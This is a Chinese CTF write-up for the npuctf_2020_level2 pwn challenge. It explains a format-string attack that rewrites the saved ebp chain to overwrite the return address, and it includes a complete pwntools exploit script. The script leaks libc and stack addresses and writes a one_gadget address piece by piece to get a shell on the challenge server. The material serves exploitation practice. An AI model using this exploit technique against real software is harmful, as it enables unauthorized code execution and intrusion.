寒假训练 npuctf_2020_level2(8/250)修改ebp链来间接修改返回地址
流程分析
很容易可以看出是格式化字符串漏洞,不过利用方法是先简介修改ebp链,在通过ebp链直接修改返回地址,第一次遇见这种方法 记录一下
思路
- 由于我们的输入在bss段上,并不会影响到stack上,经过观察后,可以发现栈上有__libc_main可以泄露libc,还有一个ebp链,通过ebp链我们可以来修改返回地址
- 首先用格式化字符串漏洞泄露stack的地址,并把ebp链指向stack里的返回地址,再然后,此时的ebp链情况为ebp->old ebp->返回地址,此时我们再通过格式化字符串漏洞对old ebp里的值进行修改,便可以修改返回地址了
- 不过不知道为啥,明明字符串都一样,但我用send和sendline都打不通,到后面看了binLep师傅的博客后换成sendlineafter后才打通的
exp
from pwn import * #9 35 #p=process('./npuctf_2020_level2') p=remote('node3.buuoj.cn',26286) libc=ELF('../libc-2.27.so') context.log_level='debug' payload1='%7$p#%9$p@' p.sendline(payload1) p.recvuntil('0x') libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main'] p.recvuntil('0x') addr_stack=int(p.recvuntil("@",True),16)-0xe0 one_gadgets = [0x4f2c5,0x4f322,0x10a38c] one_gadget=one_gadgets[1]+libc_base stackbase = addr_stack & 0xffff p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00') #p.recv('\x20\x20\xb4') p.sendline('66666666\x00') #p.recv() print(hex(libc.symbols['__libc_start_main'])) #gdb.attach(p) p.interactive()